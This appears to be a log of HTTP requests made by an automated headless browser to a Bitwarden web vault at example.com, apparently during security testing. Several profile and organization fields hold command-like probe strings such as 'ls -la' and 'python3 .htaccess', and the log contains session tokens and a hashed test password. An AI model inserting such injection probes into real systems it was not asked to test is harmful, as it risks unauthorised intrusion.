{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e44207b9-d839-4088-9325-1f8b184f578a&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "PUT", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Content-Length: 41", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5NDI4ODc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlNDQyMDdiOS1kODM5LTQwODgtOTMyNS0xZjhiMTg0ZjU3OGEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.LDvv9Euto5Z0qrrWYISSEP10YCnhWXZJUO2-e6M_BTNJs0k9fRTb8ivn7GfIo38pFI2I-FJanR24YNZob21Z2RlRuLNHAc3YGhsY6M9baSHH0D1V6iX9OESIpCOyerQd3plnp05A71A4ko3eAteoXLSwDs0qj7VsxmXFOW8AY14_gR8b7jLg5LEnyeym6YmDdZ_5NyiMNgbzArJgTLA8CvTgo-LdwY1PwIGcNOHtWTokLbEaUtBItWfl1vXHybir1uUv24Tof54VR-AhQE1p2jSoNufaMoIvb1IxWSRxmHscXfviwjgmBil7OXXAkd3Xhx0cbtdXYhdjY0OX-9S4Mg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"culture\":\"en-US\",\"name\":\"Alice ls -la\"}"}
|
||||||
|
{"method": "POST", "target": "/api/organizations", "headers": ["Host: example.com", "Content-Length: 3201", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5NDI4ODc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlNDQyMDdiOS1kODM5LTQwODgtOTMyNS0xZjhiMTg0ZjU3OGEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.LDvv9Euto5Z0qrrWYISSEP10YCnhWXZJUO2-e6M_BTNJs0k9fRTb8ivn7GfIo38pFI2I-FJanR24YNZob21Z2RlRuLNHAc3YGhsY6M9baSHH0D1V6iX9OESIpCOyerQd3plnp05A71A4ko3eAteoXLSwDs0qj7VsxmXFOW8AY14_gR8b7jLg5LEnyeym6YmDdZ_5NyiMNgbzArJgTLA8CvTgo-LdwY1PwIGcNOHtWTokLbEaUtBItWfl1vXHybir1uUv24Tof54VR-AhQE1p2jSoNufaMoIvb1IxWSRxmHscXfviwjgmBil7OXXAkd3Xhx0cbtdXYhdjY0OX-9S4Mg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"python3 .htaccess team\",\"businessName\":\"\",\"billingEmail\":\"billing@example.com\",\"additionalSeats\":0,\"maxAutoscaleSeats\":0,\"additionalStorageGb\":0,\"premiumAccessAddon\":false,\"taxIdNumber\":\"\",\"billingAddressLine1\":\"\",\"billingAddressLine2\":\"\",\"billingAddressCity\":\"\",\"billingAddressState\":\"\",\"billingAddressPostalCode\":\"\",\"billingAddressCountry\":\"\",\"useSecretsManager\":false,\"additionalSmSeats\":0,\"additionalServiceAccounts\":0,\"isFromSecretsManagerTrial\":false,\"key\":\"4.WiaDWzBtYEGmiO4qG6dAi2uybE/1GPnlvKP7fnaRGZ3OkBV5nOyCGCicd+Vi65nKIDuOo3zugIZVXin7/PCfaOPtsJ61WZIago9uhS5gQ1/VTyfzS9DLK1rRhSMAs04Vn5iEp8Kg0H/yEI/ysgLVc59MSCRkyFnygeo9G4Kmk38ezUrPUoxLIET/cu36Ok/iWNu1gvv8QV33Z/5FbTNvOhsKxk5rONKbNcQ2g02wNb0jsfZs3B6d3SkF8+OQYgD3ZkZpQgLNqu1q2ekkvrV+MWYBY5N3FPv/wC27xdJ1JwLc2YN+Nb4iaKp9IEUvKFcrDgAWpwx2g4vqnvZvW6SKLg==\",\"keys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqR0hC2iYM571ZOUF35kjHF5Zdjv8Bwy/lxuvFKIWsroMDmKgvM1Zt3l2r0l95m6nlvavFysgQH4PxCgJDjFUeJHpcmS5PyGIZzRNklJZxZLSMQ6pIooDJDsZqXlyn3ymdCldPYAdCG2bDhGXbIdESP21MZr2rpLW5iyMFABErHz1sKBACQNs19pQKLKUqRu2fSf3vaS8NFCNu4t8NO8LAnYeIxes/TfBpvme55r1r0v7qLDYNSTo9nM+nzhOGTCHKaIe7Ml6eHHR/EZw2Fe7KFTAbDSeICZGDmcljB4Y3bNfBikIEKaXNl5CXPJH90fyRjjJF3UhXVRjD+cCkcFKCwIDAQAB\",\"encryptedPrivateKey\":\"2.rcwVLVJP5XmHqB4kwDRQEA==|MtlJJSTQn95c40N7kj1+QzX/FE72Me4GHMOpYwUD1nY8o0+QOTFBmFZaOlP28amA8GNrc2Qrco8JmZ/HpiYccP3abaljQ5vOakk1Bdj47q+h5/HdqOCBEV6j1dKPO6zZKqHkEJfSXo8amTWGuQ8ifG0+JlkNYtq5IiBE8+0hcrz30PwQo20JA75R2MFKDuohpokOBIB7wHVIeSMjb0MjZ0QXKw3KyKG5qYyn0ZrQA4D9WfPvIfHj+oo3PQwgwjY5aRVBCkcYj2cDYpSifpA0xJYnTbaQ0xwmn4P0HadkgbtL4azxu/J15ff5NTgcG0gzwpp5x7t87+R2a8hAzfBB1dyOyReqa0HpfFJUd7DViy/0vQl6KcPvMEoTCh8f1BAjWaNSwSnI4Oq01IwIwCtlqAU+yzJniri/eZYvD26THbBG8DPMrgWl+I9mv151s3RZWNSwhP0K9DE3dihNFupV7KoXT1ajbFj9Q46KhnDHA2cTFQXmhU0GUYtbfCXy2NoDq4YHVeSz56ADJFJjyM6XNIz3hbVeXjQrMhTOgsXhKMNHlRti4LP+a9+W5SPLCubJq2emE/CEMWqC8PviH0drSSYv8X6hgKEBRFluWV9SmzxCflbBpCWRsbT5gfsjTHgn0Hmo0QHd4hHysCawN1GRoXadqYgc4xm3LHHPkw6shzQBVFBn66t1M2hzkDVXljBuid8TxF0pB1Dyp+bnX49vv8pJthdWCRjVABe/EyOF7b4Q2Itt9vO6fSl2KacsJHegN8CStyu17Ta9qKRZbOJAR7CLaOeHuAAEaxw8FGlAIbhCCYsSr9QpsJkZUpaqKBNkkXSplIR/6mQc0yGC1LEIJuCaPsU5DEIceyra2FcVxR9a7vtYt8gIhQxN04W/TP/zLHzRWweOpf8mJMG+2+vbjPmE9taOAlIvN6uA9eCBi9lwhOoGNo+0G+etKOcd3CqfYHduCev0MH9u4esx7RmzZhCs1lmksLrXyLSDrANqVAQmIvfOSN7DQdNPL09pSAaplERIBKuhO9a8j9xFZw0suvsjfNxwhyieZ2y0/fhS2gafmB761xw4wzCnuO7yj2nbkQtJd/P0HUptqcSpXEvd9UnJ3sfFHAu2ba9Lr9q0XTzzgsnmoUQgAgkrATOol5oZKX6u33HhTIUVHHs0V8gazT1COmblM2b8kar0Hv8N8jt9iZxBv9E/P0MlUq0ubY50EZ0eXmXvQbuvsfj7/wACUi8PAb3rOtxvx7YiWdpYDkiE67ZgSuKzuFR6T3CusWks9PYCahpHK/6IzjlxD9LfatcUwzo/u2dFJ2c/j/p7k1Q9YHW2UlOPj9TiBVxZeq8D10rFnaCrUs3Qmx9fq1QxKk8pejxP8OVW4ajZ5UQJwdHLqO0UfHZ29N7QEXgNovajqlDwIhO4FEa3UW29vCRN9z9pykRh1b8NnfP+Mv5rpHC9J7pUQ08myjIc+8Lt90KBwnd4oLma6SFfZAX0wYNQHGiXCG8MHD0Qnh/UARJ3ReZnVAXxnuumQbZEYA+ByWjFR7GzTYn1OvcNx+Vo4rKXBk4uj3lTxsFAmhTFwGpBbXYX0/8M7ADTM639coIhR3L1mqXT8saBRYU/tq/rPreZLvilJciF00vQXZWUDLZujK4=|sLOYshW+CIQctHp7sTiL/hojcWMgoOg97a4CPewOhdI=\"},\"collectionName\":\"2.KEZRLg9IaGzmiSG1GOV7Ag==|/kueCAS2suT20oQ3Aj1o/Z+G6ak/0xDcAXMN/JI+s2U=|5yvg76dyL9BfzROgnRsZP5PoUEB55HtfJFR/9J2X9AI=\",\"paymentToken\":\"\",\"initiationPath\":\"New organizLine truncated
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5Njg3MzU1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiUzlSSjNnZ2lpWHZiSXQxN2RwNjVrQ3Q4Y3BIcU8yY0ZzWlI5eXU1MWp5am5KZE0yNWh4V2c4b1RoSXhpaTIwRWlEVHI1bzBxSzJSZnB0b0Y0ZWZ6M1E9PSIsInRva2VuIjpudWxsfQ.DWMQ-E5aTL8ztjaL2bCYPEqdUICGOG7mlXIEDFDXMIxDA3UeaB5oGLCoBGgkC7AMok-vjzuggt6DYD5wU8LTxJFuEQ8fAQaYzfVE3ZFwX0_zgIi__L3VZoWd0z8zmhz6yYm4yr8kUh4kqCoLUbtWI4M1BS8eYNk8WdvxN2_7DkaJDy8LRoY61AtvnsY2JCT2IEyFDt7FvgbD2RtYWp7Dgv5OqpFVRN3pjST_4cQmViIqEh_mtWGlnhHzGKjNktXqxCIeIKs4CdIu0L4Vai3O7dT3kBaksQOtIVPjsXhe8LK-GvX-ZZ2AjilqHmJmXz3Lg6hCzQ4qSvcqM5CxsTNdQw"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5Njg3MzU4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiUzlSSjNnZ2lpWHZiSXQxN2RwNjVrQ3Q4Y3BIcU8yY0ZzWlI5eXU1MWp5am5KZE0yNWh4V2c4b1RoSXhpaTIwRWlEVHI1bzBxSzJSZnB0b0Y0ZWZ6M1E9PSIsInRva2VuIjpudWxsfQ.dQiSrnpSFAnETzr8grySj54sGq0Xq1GItIEiYvfnwFY9VV3Qtp2lO5tSPguJ8AltKrHsWFmytWYCSWpiGZ6bWj9zO4ECiYbpszf3kAUPED3q6b3VDoxrEfTo89bvlPlmFtm6dDvsrOmP4pwrzJDHN43s78utwjqZ6IVcTrMw_zoywpRrdp8_1eNEyiFu-qef2ERoPVodqar6aBMpqukhT131orQurM6-0qP03SG42bIBytvhQlPnlftY7eHkX_zWAciEcnqx5ZAEz43rx5QFOMPQQRlFoIrBUoAy3O_PKxX99-WpUzCmef1MRV-yjkxPfMhkBeFOOwj8CEHlGvMqFA"}
|
||||||
|
{"method": "GET", "target": "/397.140f77b7f5a3e6236b43.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/ciphers/organization-details?organizationId=eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=2b161375-7f4f-461c-945a-2f2e89155df9&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "GET", "target": "/501.424a4093223bb151e00e.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users?includeCollections=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: 